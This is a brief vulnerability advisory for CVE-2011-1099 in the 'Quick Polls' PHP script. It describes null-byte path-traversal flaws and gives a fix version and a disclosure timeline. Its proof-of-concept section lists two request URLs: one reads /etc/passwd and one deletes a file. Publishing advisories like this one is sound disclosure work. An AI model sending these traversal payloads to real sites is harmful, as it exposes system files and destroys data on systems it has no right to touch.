'Quick Polls' Local File Inclusion & Deletion Vulnerabilities (CVE-2011-1099)
Mark Stanislav - mark.stanislav@gmail.com
I. DESCRIPTION
---------------------------------------
Two vulnerabilities exist in 'Quick Polls' providing local file inclusion & local file deletion due to null-byte attacks against functions in index.php.
II. TESTED VERSION
---------------------------------------
1.0.1
III. PoC EXPLOITS
---------------------------------------
LFI: http://example.com/quickpolls/?fct=preview&p=../../../../../../../etc/passwd%00
LFD: http://example.com/quickpolls/?fct=delete&p=../../../../../../../tmp/foobar%00
IV. NOTES
---------------------------------------
* magic_quotes_gpc must be disabled for null-byte attacks to work
V. SOLUTION
---------------------------------------
Upgrade to 1.0.2 or above
VI. REFERENCES
---------------------------------------
http://www.focalmedia.net/create_voting_poll.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1099
http://www.uncompiled.com/2011/03/quick-polls-local-file-inclusion-deletion-vulnerabilities-cve-2011-1099/
VII. TIMELINE
---------------------------------------
02/05/2011 - Initial vendor disclosure
02/07/2011 - Vendor patched and released an updated version
02/07/2011 - Confirmed public disclosure date with vendor
03/06/2011 - Public disclosure